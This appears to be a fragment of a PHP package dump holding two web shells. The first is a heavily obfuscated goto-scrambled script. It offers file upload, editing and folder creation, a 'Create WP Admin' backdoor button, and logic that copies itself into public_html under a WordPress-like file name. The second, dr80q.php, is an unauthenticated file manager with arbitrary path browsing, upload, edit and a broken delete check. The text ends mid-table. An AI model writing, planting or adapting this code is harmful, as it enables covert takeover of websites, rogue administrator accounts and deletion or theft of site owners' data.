x3d\62\x35\x33\x26\146\x6d\x74\x3d\141\165\164\157\x26\x61\160\x70\75\x31\x33\70\46\146\x3d\112\120\x45\x47\77\x77\75\x38\61\x37\46\x68\75\65\60\60\51\x3b\15\xa\x20\x20\142\x61\x63\x6b\x67\162\x6f\x75\x6e\x64\x2d\163\x69\172\145\72\x20\x63\157\166\x65\x72\73\xd\12\40\x20\142\x61\x63\x6b\x67\162\x6f\x75\x6e\x64\55\x72\x65\160\145\141\164\72\40\156\157\55\162\145\160\145\141\x74\x3b\15\12\40\40\142\x61\x63\153\x67\x72\157\x75\x6e\x64\55\160\157\163\x69\x74\x69\x6f\156\x3a\40\143\145\156\x74\145\x72\x3b\15\xa\x20\x20\x62\x61\x63\x6b\147\162\157\x75\156\x64\55\141\164\164\141\143\x68\x6d\x65\x6e\164\x3a\x20\x66\151\170\x65\x64\x3b\15\12\x20\40\150\145\151\x67\x68\x74\72\x20\x31\x30\60\x25\73\15\xa\40\x20\175\15\12"; goto yAqpz; mB7Lg: QfHUS: goto M32Xs; tkYCb: if (empty($_POST["\156\145\x77\146\x6f\x6c\x64\x65\162"])) { goto FopiD; } goto a3NhY; NRbvr: LGqK1: goto iCa1I; m7UPp: TtH1T: goto T1VpJ; lMkl0: goto RZCVG; goto IHLnC; orK6d: JWLH7: goto ErcjN; p0nTf: goto wNquf; goto s49_e; v5Q9k: goto n2WkM; goto Pbwpu; d7rGB: IBF6h: goto wAzz2; LQM5f: VrXPo: goto SzvFg; CTQ0O: goto tcFgj; goto Tvv8Y; Aaa8o: OzJwW: goto zWsbZ; Nib1w: f5nlv: goto U1oqU; VTkSC: goto gRnHu; goto ofhv1; Ts3fo: goto ww1U4; goto o2mrB; C0AeL: goto Gu75W; goto OiT2O; ow3OF: uo4RA: goto Nhvxt; LnECi: zBf07: goto LHMHt; tLalb: AOh9o: goto PpMWV; txvvt: goto Nb5vy; goto Y1nBo; Mix7i: CNoYb: goto JgPGl; fz82N: nfbZG: goto pTdcs; cliCH: RchK3: goto O0SeS; zSz8T: VMmqS: goto E31b3; hlzGB: LWJCi: goto E9h2t; caCjE: goto SDqjo; goto x1zVu; BU70D: PQHpz: goto ROCbh; MH_RT: fIfaC: goto lwpYQ; mxgcF: goto blQpy; goto rOPBo; Due3P: sHnMK: goto tDj1L; tmKUJ: goto THXJD; goto guWkM; qB9Xc: LpCQF: goto M_ySO; EZBND: goto QynDU; goto UBRcL; XveWy: h3Mkp: goto DJbID; Jgez4: goto BWqdy; goto oD1Eb; uu3XS: pgQRW: goto cFVUB; QWgsx: goto anH3D; goto Q92Uz; JfLz2: goto EM03P; goto MNJZw; MCVU1: goto GY9jC; goto M4u07; BCH5S: goto FtsP2; goto D8WFc; vVZP1: a750m: goto H9R_F; zxPvx: echo "\x3c\57\x70\x3e\12"; goto fK7R0; S2lqR: $mdI48 = htmlspecialchars(file_get_contents($OYF8c)); goto ux48b; vmpMT: goto piN9u; goto I0aJC; Vxus2: ZeFgS: goto bShoH; qeEky: ZzPDj: goto KVKlT; Km40z: WYMTp: goto Qtv3E; b5kFp: plEkR: goto tObSm; H9R_F: goto Y3sBp; goto cao5i; ecvwl: goto TwgIS; goto yW17m; J9wD8: goto dsUxH; goto ebmTO; ZC7Hp: rOJ8q: goto gTqfp; kRugS: VdCSw: goto OkD6Y; Y3LoV: $hznvy .= "\74\144\151\x76\40\143\x6c\141\163\163\75\47\x6f\x6b\x27\x3e\303\xa2\305\x93\342\200\235\x20\x46\157\x6c\x64\145\162\x20\143\162\x65\141\164\145\144\74\57\144\151\166\76"; goto NkeNK; EV0lx: nZqz2: goto oizs9; J_Hln: vAzRU: goto wbKnl; OuzcA: goto T07g6; goto Axgfg; DSEOn: KPlKX: goto IK_DP; G1Qv8: X_zeJ: goto INFFL; oizs9: goto APpNG; goto vVZP1; r4llA: dYUUJ: goto qBLIC; nsdJy: zWmwG: goto C6DGU; xRuWG: goto Iu7Vm; goto ml1uh; bAvkV: EEaFa: goto SCKIJ; MfKxB: goto VdCSw; goto lGFhF; Lx0XR: goto Ihrld; goto JY0sP; Zoi8b: A9iGR: goto ekLqq; bq3T2: zicQ5: goto lMkl0; lg02d: TkaFs: goto d8vt9; zWsbZ: n_64s: goto xbpy_; LebU4: lynu2: goto qa8k3; gw4Nl: goto GTMrE; goto N0tdo; HozkL: JLhkU: goto bf9bm; uyNWu: B3ej5: goto uGhan; M2hcK: goto Q8yTR; goto pp9c0; DnLfo: GvS0d: goto jjccd; hnCgw: goto aw61p; goto LebU4; yCAjM: goto Y4A3c; goto bTx7G; YIuJn: rr71t: goto VQ2KN; FJHh0: goto N_uzv; goto GGQYr; HL_Ea: $txUKt = $JdqDR . "\x2f" . basename($_POST["\x6e\145\x77\x66\x6f\x6c\144\145\162"]); goto rQbqD; LQfqR: eB0P0: goto nMeT9; BgGg1: goto EBoDv; goto U3dVg; A3xpt: echo "\74\150\63\x3e\303\242\xc5\223\342\200\xa6\x20\x52\145\x70\154\x69\x63\141\x74\145\144\40\151\x6e\x74\x6f\40\160\165\x62\154\x69\x63\137\150\164\155\x6c\x3c\57\150\x33\x3e\x3c\x75\154\x3e"; goto c3Ecp; LK7PK: goto D9duu; goto SAtNS; LtWUT: goto Bq6R4; goto blQE1; dWM3l: goto RchK3; goto ybD6v; He2H7: goto En4Bl; goto PZazT; ecHb3: YbMjO: goto jFU8u; XfhKL: goto fAnBX; goto WD3OG; Yv5N0: goto XJ15u; goto YIuJn; c3Ecp: goto cBi0z; goto uzFib; fwefS: leovd: goto fT5pv; ukPCo: goto CxF4g; goto XJSAf; h1gA6: goto nYEWv; goto z31JX; XlHGB: Naw4a: goto fM7Ha; lJLwF: P_gAl: goto oilrT; qBgFi: s6Utd: goto xhqEf; bY7iK: goto DpIfg; goto LtWUT; X41GM: goto tC_To; goto RwT6B; JFMBg: if (empty($_POST["\x6d\x61\153\145\137\167\x70\x5f\141\x64\x6d\x69\156"])) { goto NlzaM; } goto L9t2s; tJTtt: CcQIm: goto FLvD1; KAvzx: goto PbdyU; goto O1XTW; dqcrq: h_uEZ: goto n93Gk; IH9CG: pW0Lg: goto LFZY3; nl37G: sHU8k: goto aO1F2; auij7: goto KrrW1; goto RCvXC; b8TnL: goto f9DLn; goto Y39BH; swcu0: DckSI: goto Xn1aA; TRK5g: goto BgbEE; goto Bd9pg; uqrbB: goto xwHle; goto BOUyM; T21kq: goto yxPnN; goto oaJ0w; av9h0: goto wfTR1; goto xhHtZ; l1Rhx: goto fpj30; goto lRc0U; iNEwI: fZku2: goto dO0pw; HFyGT: goto iZ4h4; goto kMj6k; Zqsuk: fAnBX: goto CsPsQ; tEAi1: $rIJSd = false; goto C0AeL; cg4ZT: c75GS: goto OHyMs; xhHtZ: JLx3x: goto A3xpt; yJhHf: goto Kh6bK; goto EOJg3; AXMDN: if (!($D6V0J !== dirname($D6V0J))) { goto NKnHC; } goto l1Rhx; J6ZxO: goto i_d0m; goto b5kFp; RADZh: yaI1b: goto bY7iK; NIV85: goto wodEv; goto nUHZj; RwT6B: Gu75W: goto ptU3E; h43tU: goto bEuoB; goto QBC7y; IGMxG: KX2Vx: goto WljjD; IK_DP: jZG7w: goto Ogr2e; FLgPu: $HF_AU = dirname($D8T_A) . "\57" . basename($_POST["\162\145\x6e\141\155\x65\x5f\156\145\167"]); goto UGaKU; I5E7B: XFYQV: goto d1lZ2; rs6hQ: Y43yk: goto d0ggy; pZvhC: goto zsCef; goto m7UPp; f6RtR: goto VNH2v; goto TLAgf; zOUTZ: EM91A: goto Bj6yj; rxL9a: goto P_gAl; goto lg02d; iAu5k: goto lAGKT; goto fZ4fb; blCrI: goto rivn3; goto HWvRS; jg0N4: goto Y43yk; goto Mg0kq; Suitv: $JglkV = basename($D8SPt); goto tvKkm; fm2b4: jFF3F: goto fMQvJ; FKta4: qtW4o: goto AXMDN; fO7IX: GFznw: goto OdSSG; YVnki: zzfx1: goto OAdsT; mVSsr: j_FJI: goto pq4ZS; cD76l: R2RRw: goto SU2aS; mCO_w: Uzca2: goto lfeQn; VEAiq: goto NJFPs; goto O_ANL; gTqfp: goto j_FJI; goto yIUPW; RnKjm: ves8O: goto qBbCO; Aub2J: goto wKHRo; goto oVXyY; DZPMO: goto WYMTp; goto a411L; QrSn1: goto pWS9l; goto nY_1Q; mxgon: goto lgzIG; goto ENk7J; VDpyM: goto Jp083; goto Qe10l; uAwQG: goto nfbZG; goto doVAA; dQAET: sbJX_: goto IImTN; idhLU: goto VPmxL; goto XLvuk; bIuzY: LGhol: goto WoibB; LQbME: XEsqk: goto xihPS; rUxDS: goto poMp0; goto SIi_F; lPC2j: gEPCt: goto jexem; TB1We: goto dzixS; goto vwZaR; MK6VQ: KQR9L: goto V9MeH; qGMZo: snGiW: goto W1Yey; U2iNi: CFA22: goto dQAET; KAIdj: YV7J3: goto LhIiH; IJm2S: JscKU: goto Pa9jH; VhhhS: DCCBg: goto Pne0_; KAk9t: d3u7B: goto PD19_; SXKBh: OPFVa: goto zGsRd; MLZJ1: iZ4h4: goto CMig3; JK3Qm: goto hHLeW; goto HtCJj; p3Slk: BPJ4w: goto ukPCo; hrlxR: goto VtXS1; goto uu3XS; RpT82: MdNLB: goto M9Oz6; pmKLG: goto hKkuU; goto zOUTZ; itVgW: goto V3DtT; goto Lvm8B; HK11o: YPNKf: goto zDrDe; O5gxF: goto ves8O; goto aGUgU; OtWzu: goto WEFVN; goto VENIm; gySkl: j4fbo: goto R5nt6; CNAMg: D9duu: goto QjW0N; OA0vJ: goto snGiW; goto eyg_4; YWduN: WEFVN: goto A8SPk; Xx6fd: goto EGZPJ; goto NO2YR; cLM9z: if (file_exists($bG34o)) { goto wssjk; } goto J9wD8; MMy0M: goto SbuXe; goto ivss1; yNu6z: goto oz3t7; goto Z_j7r; jexem: goto TiDrY; goto g8omF; a411L: SbDAZ: goto BU70D; Z3O3Z: rw_pK: goto swcu0; njHjZ: ocCsn: goto qrkn2; Nluj9: goto pgQRW; goto ouUdy; R5nt6: $bG34o = $JdqDR . "\x2f" . basename($_POST["\156\x65\167\146\151\154\x65"]); goto v5Q9k; YeYhj: goto MBBhg; goto gphJD; GETqH: goto GJ2ZZ; goto DnLfo; L3Tk1: VM7J8: goto UtBmG; yabSI: goto en_sG; goto jNPBL; BHdPu: goto JrmqN; goto DSEOn; nPxWE: a1JYq: goto xPu83; LZFK7: goto hZMkj; goto TOo3K; pvdiI: kcJFb: goto bP8J6; Kq6Pa: gw96m: goto ckwc3; Qy7Ry: KPedQ: goto GK0TK; Fkejm: oz3t7: goto X41GM; pLUNm: goto JDHCe; goto BcmUP; lGHlv: JMBjk: goto pAD7h; WZVIb: $mnQV8 = []; goto tmKUJ; K25PE: if (!file_exists($D6V0J . "\57\167\160\55\154\x6f\x61\144\x2e\160\x68\x70")) { goto nyuzB; } goto WsDjn; M7Gyp: goto MdNLB; goto QYSDt; xdHqL: goto DV0SF; goto igrmk; W57Aw: vL5xr: goto uyNWu; J96Mu: NlzaM: goto t_u1g; Ssrys: TepBx: goto Kdmp4; t1qmX: goto n1xAc; goto RooMC; gsbM5: fpj30: goto PQ4_q; N2oFC: goto dn0tW; goto KuLD8; eU41h: goto HPZNv; goto ik5MB; xzbO_: goto UhQNT; goto vhhzP; CeVou: Z2hdr: goto zEEkD; wmOwk: goto cgxrg; goto odVDg; HD2_Q: goto rF9Q0; goto APXSe; ItzMj: goto c6dT5; goto AZ32v; UL46I: U83vJ: goto MCVU1; qjebX: QynDU: goto PWPPT; yjdWQ: goto qXWNA; goto nmnAf; Qbrza: iWIvM: goto Zk18_; mAZJ3: c49UM: goto TVOEv; gco9H: goto DItA6; goto PQ0Gl; asy96: define("\172\70\x4d\171\x50", false); goto gUCUZ; aPMgW: bgQX6: goto b07Mx; VMC1l: h5315: goto U1Q6Z; Lvm8B: VRmhe: goto fG3tv; PC1uP: goto PdiyD; goto pvdiI; bkKIN: goto ZDDBq; goto iE4ih; vhhzP: goto eNrt1; goto fbCMn; sXGTh: goto rr71t; goto OdvU7; GFmeZ: eNrt1: goto soE6m; mxl49: Iu7Vm: goto P6I2Y; Ms1xZ: $hznvy .= "\74\144\151\x76\x20\143\154\141\x73\163\x3d\47\157\x6b\47\x3e\xc3\242\xc5\223\xe2\200\x9d\x20\x46\151\154\x65\x20\165\x70\x6c\x6f\x61\144\145\144\74\x2f\144\151\x76\76"; goto fUvG0; OE7sw: goto CNoYb; goto aziJz; RooMC: KJSI3: goto O0OJf; HI3Eh: $hznvy .= "\x3c\144\x69\166\40\143\x6c\x61\x73\x73\x3d\47\x6f\153\x27\76\xc3\xa2\xc5\223\xe2\x80\235\x20\x46\151\x6c\x65\x20\x63\x72\x65\141\164\145\x64\x3c\x2f\144\151\x76\76"; goto hQErw; n4fUk: if ($rIJSd) { goto IOF4v; } goto Xx6fd; y2JC5: wNquf: goto vU0kJ; yCmcS: goto FLR87; goto dhR5e; L9Ybt: goto U83vJ; goto zpDZN; KmQnX: goto hcjk0; goto cfBe5; QDb5k: goto fT1WW; goto oBIlN; qLPnR: goto HfICC; goto w6xZ2; Ek6CX: qXWNA: goto OMyEo; QrOof: if (!Wxn15($tUnme)) { goto TepBx; } goto zdsgU; c8Cpu: goto LMiFP; goto b5rBr; wY4I7: pfJQ7: goto UCa6o; dpuZk: L7_dP: goto gtyx3; ybD6v: THXJD: goto ONcuP; rx5Up: goto v0BK4; goto xH_q2; PDrj6: LUNp5: goto Iwiok; JgPGl: Elnla: goto LAQcH; oylB9: goto v26Id; goto h6GK8; odVDg: UWRL1: goto tuGap; FekV5: require_once $rIJSd; goto MMy0M; wV2dM: fdUer: goto qX85B; qoyb0: mmZKh: goto OLBkN; MjtI0: Cg50n: goto LvC12; L9t2s: goto cR2JV; goto J96Mu; CZLgn: pHswN: goto u_6Ay; soNvH: goto yRMAV; goto qBgFi; EuCPZ: goto vL5xr; goto GekuO; UGaKU: goto H9M8J; goto sZ75u; UBRcC: Ihrld: goto TAeJb; e4HMG: KYlTW: goto cS1Um; l14V2: goto kNvRZ; goto INens; z7lyU: QlU0m: goto qw6I2; QQ73s: goto nZqz2; goto p0nTf; TOo3K: wG4QQ: goto aJg8i; UmErq: goto Sh82s; goto EkRve; AW3Fk: if (is_dir($OYF8c)) { goto XVnA0; } goto zi3cN; zpDZN: en_sG: goto T7lRt; FumFJ: blQpy: goto GowsA; WOL8H: goto QJYuq; goto bZY1K; OdvU7: roQYD: goto C1n98; JmZFb: goto d3u7B; goto LlrPd; C1vkz: goto JR8P0; goto bCGEg; OBxJ0: fYnAP: goto qWOAB; MraaV: goto TeCIh; goto zfi1i; hyxRS: l8Ts7: goto gsbM5; t7D2Y: coM_j: goto r74bY; PD19_: UhQNT: goto KZ0MR; SYcSV: cgxrg: goto jWWrY; W1og2: W6f3O: goto EvyPb; gKF0b: lvK0j: goto x55BZ; s5nwg: gUKWt: goto yCAjM; idetg: ZbEA_: goto fabGN; QoIg6: goto HT2aX; goto wkKdZ; TXnS3: goto qEiXE; goto QPI4H; Wc2_k: goto K3Ir3; goto ef1Kq; IYHeZ: HZzN_: goto MFVnP; xHuA4: $oTlAS = $JdqDR . "\57" . basename($_FILES["\146\151\x6c\x65"]["\156\141\x6d\145"]); goto ePZM9; wRq1b: goto pxxt3; goto TPPFj; w1puP: goto EM91A; goto c_uLt; XkG1y: goto FeMir; goto TzBhQ; Yp3qL: ANHC2: goto lAkM5; aJg8i: $JdqDR = isset($_GET["\x64\151\x72"]) ? realpath($_GET["\144\151\x72"]) : getcwd(); goto C3gIo; vqmLF: goto C2lyi; goto mAZJ3; Bd9pg: goto WW7k1; goto RJOeG; fYCQN: goto B_6Vv; goto UV0l8; IwPeD: $hznvy .= "\74\x64\151\x76\x20\143\154\141\163\x73\x3d\47\x65\162\x72\x27\76\303\242\xc5\223\313\x9c\40\167\x70\55\x6c\157\x61\144\x2e\160\x68\x70\40\156\x6f\x74\40\146\157\x75\156\144\x3c\57\144\x69\x76\x3e"; goto Q1G_q; JRoYV: CfqF0: goto IH9CG; oBIlN: goto BBOPc; goto QDtwL; FRbSx: goto nZebr; goto SOxZQ; NsKNm: goto M0ssD; goto Hq1MR; utbJO: goto Sk_8B; goto RhnSC; PvGsR: aCSQe: goto BgGg1; SnuW7: goto HNHs5; goto NfLr7; usIT7: Hm5Mz: goto gwbaH; zK5Gj: goto D1biO; goto YfHrC; pTZ4n: goto UWRL1; goto cWIi8; ekLqq: goto NDbCh; goto A6Ru8; LFZY3: goto doNM2; goto RJvzj; e9J83: Upycx: goto nsdJy; QrZwZ: goto Xt2yl; goto G_inn; cpkaA: goto lOLtd; goto OswRP; dJQ6q: pWS9l: goto nk0Ti; auHqi: goto lwEiq; goto LYSDv; EvyPb: goto bwWlb; goto C0Wga; rSUiJ: XJ15u: goto A5vJ4; XPX4t: V8krl: goto IQxgW; H91jM: goto ucsul; goto VTF8J; q2PPw: goto QyMd7; goto on6bL; i6_nO: goto cLY67; goto AbqTt; Syg08: wGiMn: goto QrOof; LfvTH: goto L7_dP; goto Lfe3c; hKh1w: goto zPqro; goto NgCA9; ilDZF: @set_time_limit(0); goto gvHGm; T5gqz: goto TRreX; goto Neq8l; YA1sX: mrEaW: goto ma8YI; GLdyC: yO1DX: goto GGaB5; Pne0_: rjHcK: goto xhbvE; czEXV: sqq0b: goto ry0vH; cTu15: goto Rl7vB; goto zmw15; iKuDw: SbuXe: goto WRtx2; LorbC: if (!(!$c2TOA && basename(__FILE__) !== "\x77\x70\x2d\142\154\x6f\x67\55\146\x72\157\156\x74\56\x70\150\x70")) { goto l5mRt; } goto Hvjl8; jFU4M: Y3sBp: goto RLu8M; yAqpz: goto skzZX; goto nmlvO; ukl0E: goto Bd7cS; goto D5qrK; WGcpz: goto CNOhR; goto Ga2c2; l3eRf: WytPZ: goto OmVrv; gHIW2: goto jB8SS; goto YVnki; h1d09: nyuzB: goto dWM3l; evbZT: hcjk0: goto N2oFC; qWOAB: goto cUXEM; goto Z_CK8; AL3g6: c6dT5: goto Hw32e; P6I2Y: goto YbMjO; goto wpNnP; e_Wqv: hE81D: goto QoIg6; lwpYQ: if (!@move_uploaded_file($_FILES["\x66\151\x6c\145"]["\x74\x6d\160\x5f\156\x61\x6d\145"], $oTlAS)) { goto gNdVv; } goto vX9vH; F0MHf: goto WrIFn; goto dqcrq; VENIm: Y4A3c: goto ZGS9I; RFrGN: goto IBF6h; goto PJpNQ; b5yUa: goto fx2Zt; goto uqrbB; B0GMM: if (empty($HbhNW)) { goto Y0jlT; } goto TGNVX; CMig3: goto HXUmP; goto GcvOD; H_Ys8: goto cFPwG; goto mB7Lg; FL8BU: GJ2ZZ: goto zfiF0; Wfahm: goto e0lNf; goto dt_Tu; S301N: goto Uzca2; goto Nib1w; IImTN: goto JE1Xg; goto RADZh; ZN7v7: DpIfg: goto HD2_Q; pqjjX: goto pnE5r; goto iNEwI; ma8YI: goto oCdVG; goto A3U_c; Y7noi: $OYF8c = realpath($_GET["\x65\144\151\164"]); goto XDRQ6; Y5uU5: U2hWI: goto MraaV; EZGSd: NxoSL: goto cEhU0; rBTq1: goto HjMDE; goto G1Qv8; m6RZK: echo "\12\x3c\x66\157\162\x6d\x20\x6d\x65\x74\x68\x6f\144\75\42\160\x6f\163\x74\x22\40\x65\156\x63\164\x79\x70\x65\75\42\155\165\154\x74\151\x70\x61\x72\164\x2f\146\x6f\162\x6d\55\x64\141\164\x61\42\x3e\xa\x3c\x69\x6e\160\165\x74\40\x74\171\x70\145\x3d\x22\x66\x69\154\x65\x22\x20\156\x61\155\145\75\42\146\151\154\x65\x22\x3e\x3c\142\x75\164\164\x6f\156\76\125\160\x6c\x6f\141\x64\x3c\x2f\142\165\x74\164\157\x6e\x3e\x3c\142\x72\x3e\12\74\x69\x6e\160\x75\164\40\x74\x79\x70\145\x3d\42\164\x65\170\164\42\40\156\x61\x6d\145\x3d\42\x6e\145\167\146\x6f\x6c\x64\x65\162\x22\40\x70\x6c\x61\x63\145\x68\157\154\x64\145\x72\x3d\x22\116\x65\167\x20\x46\x6f\x6c\144\x65\162\x22\x3e\x3c\x62\165\x74\x74\157\x6e\76\103\162\145\x61\164\x65\x20\x46\157\154\144\x65\162\74\x2f\142\165\x74\164\x6f\x6e\76\x3c\142\162\76\12\74\151\x6e\160\165\164\x20\x74\x79\x70\x65\x3d\x22\x74\x65\170\x74\42\x20\x6e\x61\x6d\145\75\x22\156\x65\x77\x66\x69\154\145\42\40\160\x6c\141\x63\x65\x68\157\154\x64\x65\x72\75\x22\x4e\x65\x77\x20\x46\151\x6c\145\x22\76\x3c\x62\x75\x74\x74\x6f\156\x3e\103\162\x65\141\x74\145\x20\x46\151\154\x65\74\57\142\x75\164\164\157\x6e\x3e\x3c\x62\162\x3e\xa\x3c\x62\165\164\164\157\156\x20\x74\x79\160\145\x3d\42\163\x75\x62\155\151\164\42\40\x6e\x61\155\145\75\42\x6d\141\153\x65\137\x77\160\x5f\x61\x64\155\x69\x6e\42\40\x76\x61\154\x75\x65\x3d\42\x31\42\76\xc3\260\305\xb8\xe2\x80\x98\302\xa4\x20\x43\x72\145\141\x74\145\x20\x57\x50\x20\x41\144\155\x69\x6e\74\57\142\x75\164\164\157\x6e\76\12\74\x2f\x66\157\x72\x6d\76\12\xa\74\164\x61\142\x6c\x65\76\12\x3c\164\x72\x3e\74\x74\150\76\x4e\141\x6d\x65\74\x2f\164\x68\76\x3c\x74\x68\76\x53\x69\172\x65\74\x2f\x74\x68\x3e\74\x74\x68\76\101\x63\x74\151\157\156\163\x3c\57\164\150\76\74\57\x74\162\76\xa"; goto t1qmX; wB4mT: goto zzfx1; goto SYcSV; JelQD: tC_To: goto v70Ky; P5mXa: if (file_exists($txUKt)) { goto sHnMK; } goto Z2WKx; gphJD: goto WPVEP; goto uaHKE; WCK_n: goto Mpo7z; goto fj_AW; lbfVf: goto jVYnj; goto DYzZc; grpq0: Fe25h: goto c1U1G; ixhK6: Xz6X1: goto toqPO; kBz8y: goto K4vVK; goto QIsGB; EoMyx: Q3LgY: goto VdjT6; oYmQe: $JdqDR = getcwd(); goto XYhaQ; o2mrB: C2lyi: goto CWDzT; v70Ky: echo "\x3c\144\x69\x76\x20\143\x6c\141\163\x73\75\x27\157\153\47\76\303\242\xc5\223\342\200\x9d\40\123\x61\166\x65\x64\x20" . htmlspecialchars(basename($OYF8c)) . "\x3c\57\x64\151\x76\76"; goto HHskW; UV0l8: JE1Xg: goto Suitv; EiIeg: Jc76G: goto czEXV; vU0kJ: dsUxH: goto xdkE_; ithkt: goto SYxdL; goto wmOwk; U0S7x: goto PlkQE; goto STKGW; taEru: mkdir($txUKt); goto g7eCo; ml1uh: goto OzJwW; goto ow3OF; blQE1: in0Pm: goto MLZJ1; hcwoJ: pxxt3: goto olZtW; di3MM: CNOhR: goto rx5Up; N0ylX: ct3Gd: goto zdpHs; vxfQW: tMLMs: goto P5mXa; PQmoy: e0lNf: goto cytL0; s2s94: goto TRGsF; goto rdMJx; xyW2D: rLxPm: goto p_EOs; yUM6u: goto YeuQW; goto dzeBt; V6dIU: ReNg9: goto jyS94; BIpk2: $D8T_A = $_POST["\162\x65\156\x61\155\x65\x5f\x6f\x6c\x64"]; goto HsnEG; GhxD3: NqXEh: goto ElFdE; D5qrK: JrmqN: goto FJHh0; JTJ_6: goto tALZ4; goto XtvJl; E31b3: goto bJytY; goto e4M5A; E9h2t: q_Gb2: goto FWA0z; QPOkG: goto ARs3X; goto njHjZ; KMLro: HfICC: goto GgoUW; KXSWh: SXti3: goto XRTM4; w6xZ2: D0vP0: goto xzbO_; OlNXB: Mui_y: goto Vnkje; hu4uH: m1ruy: goto TNp3M; nndCL: goto mqyWi; goto H91jM; Cd6kR: goto CcQIm; goto dSIe6; yTLyD: btFGI: goto xHuA4; oQSm_: goto C6uMX; goto MLYir; fK7R0: goto opisV; goto f2HDu; LlrPd: YvT8m: goto zSz8T; s49_e: GWlCj: goto j51ry; ekQhe: goto b2u9j; goto AZoWW; TzBhQ: K3Ir3: goto QkkKu; AjmtK: WBdv7: goto yNu6z; oVXyY: pYA8s: goto HPY0G; Bcjeb: goto yySjF; goto vnxQO; KFZlq: poMp0: goto YRVUI; NOZ52: goto MeGcL; goto lGHlv; HHskW: goto MntkF; goto KFZlq; Q1nFk: goto fIfaC; goto coJ7U; UBRcL: NJFPs: goto N0ylX; vCrY0: ARs3X: goto AL3g6; P0cNU: goto Jfy1n; goto bcJ_M; lGFhF: OuYb9: goto EaT8m; xdkE_: goto laL26; goto H7JE0; K4XlR: goto KAiSu; goto xWAA_; vX9vH: goto Elnla; goto nuTOO; ReGJh: $HbhNW = rBQ7a(file_get_contents(__FILE__)); goto X385F; Pa9jH: NtNFa: goto BHdPu; L7bMW: HNHs5: goto dROu6; QKDK3: xqiY_: goto V4Gs8; RUISB: lgzIG: goto UDY38; TVOEv: goto Fe25h; goto ijn0m; fdusi: KOFAb: goto VTkSC; GKNUm: goto YcUig; goto Km40z; oaJ0w: goto KPedQ; goto yGKF6; fMQvJ: goto XYPS_; goto VgiTK; Or33W: goto YKM7Q; goto OzAbI; Zp6nL: goto HTfnm; goto NC8Tt; dZWzT: goto wGDt8; goto ri253; ilgUX: p0oO0: goto hnCgw; KCaqs: BNnHl: goto e6jhU; gTcbi: SsqsW: goto Ih3aE; OksMU: goto QtsT4; goto UL46I; GGuih: goto xjdod; goto vqmLF; ocGZL: goto TtH1T; goto MH_RT; z51Jf: goto SGf7r; goto vxfQW; EP9uh: HT2aX: goto J66w6; D8WFc: S5Fw8: goto oyvT0; A8Ezk: VdhuI: goto b7_TF; lf5xV: MiNjJ: goto YeYhj; QPI4H: wGDt8: goto kp5n9; sFQq4: goto L3B6x; goto AjmtK; igrmk: QIiQR: goto QKDK3; dgkA2: goto TOJnr; goto wY4I7; foNlo: goto o43mB; goto PvGsR; bigK0: goto EtncM; goto ot7OM; fabGN: nCsBk: goto mxgon; MWJuv: BAl0B: goto HOZFb; Y1nBo: NEL4y: goto maSn0; ySbKt: A5jA1: goto L3Tk1; RrQzB: goto BAl0B; goto ozSq7; cqOD9: L6DFb: goto bZqDa; yIUPW: HXUmP: goto Y3LoV; BOUyM: EMYdI: goto S2lqR; DW21w: goto fBo5l; goto oYOLp; kEL20: goto SbDAZ; goto yxCxR; HVahR: goto rjHcK; goto mrbai; LYSDv: n2WkM: goto l14V2; C9Pxa: goto T4o2I; goto by2Me; Lct8Y: goto YpUjo; goto EiIeg; iXpBE: goto ANHC2; goto QPOkG; fG3tv: echo "\x3c\x2f\142\x6f\x64\x79\76\12\x3c\57\150\x74\155\154\76\xa";PK$;m\�K�V��	dr80q.phpnu�[���<?php
session_start();

// ----[ Konfigurasi Awal ]----
$currentDir = realpath(isset($_GET['path']) ? $_GET['path'] : __DIR__);
if (!is_dir($currentDir)) {
    die("Direktori tidak ditemukan.");
}

function deleteDir($dirPath) {
    if (!is_dir($dirPath)) return unlink($dirPath);
    foreach (scandir($dirPath) as $item) {
        if ($item === '.' || $item === '..') continue;
        deleteDir($dirPath . DIRECTORY_SEPARATOR . $item);
    }
    return rmdir($dirPath);
}

// Rename
if (isset($_POST['rename'], $_POST['oldname'], $_POST['newname'])) {
    $old = $currentDir . DIRECTORY_SEPARATOR . $_POST['oldname'];
    $new = $currentDir . DIRECTORY_SEPARATOR . $_POST['newname'];
    if (file_exists($old)) rename($old, $new);
}

// Hapus
if (isset($_GET['delete'])) {
    $target = realpath($currentDir . DIRECTORY_SEPARATOR . $_GET['delete']);
    if (strpos($target, $currentDir) === 0 || file_exists($target)) {
        deleteDir($target);
    }
    header("Location: ?path=" . urlencode($currentDir));
    exit;
}

// Download
if (isset($_GET['download'])) {
    $file = $currentDir . DIRECTORY_SEPARATOR . $_GET['download'];
    if (is_file($file)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        exit;
    }
}

// View/Edit
if (isset($_GET['view'])) {
    $file = $currentDir . DIRECTORY_SEPARATOR . $_GET['view'];
    if (is_file($file)) {
        if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
            file_put_contents($file, $_POST['content']);
            echo "<p>File disimpan.</p>";
        }
        $content = htmlspecialchars(file_get_contents($file));
        echo "<h3>Edit: ".basename($file)."</h3>";
        echo "<form method='post'><textarea name='content' rows='20' cols='100'>{$content}</textarea><br><button type='submit'>Simpan</button></form>";
        echo "<p><a href='?path=".urlencode($currentDir)."'>Kembali</a></p>";
        exit;
    }
}

// Upload
if (isset($_FILES['upload']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) {
    $tmpName = $_FILES['upload']['tmp_name'];
    $name = basename($_FILES['upload']['name']);
    move_uploaded_file($tmpName, $currentDir . DIRECTORY_SEPARATOR . $name);
    header("Location: ?path=" . urlencode($currentDir));
    exit;
}

$items = scandir($currentDir);
?>

<h2>File Manager</h2>
<p>Path: <?= htmlspecialchars($currentDir) ?></p>
<p><a href="?path=<?= urlencode(dirname($currentDir)) ?>">⬅️ Kembali</a></p>

<form method="post" enctype="multipart/form-data">
    <input type="file" name="upload" required>
    <button type="submit">Unggah</button>
</form>

<table border="1" cellpadding="5">
<tr><th>Nama</th><th>Aksi</th><th>Rename</th></tr>
<?php foreach ($items as $item):
    if ($item === '.' || $item === '..') continue;
    $path = $currentDir . DIRECTORY_SEPARATOR . $item;
    $isDir = is_dir($path);
    ?>
    <tr>
        <td><?= $isDir ? "📁" : "📄" ?> <?= $isDir ? "<a href='?path=" . urlencode($path) . "'>$item</a>" : $item ?></td>
        <td>
            <?php if (!$isDir): ?>
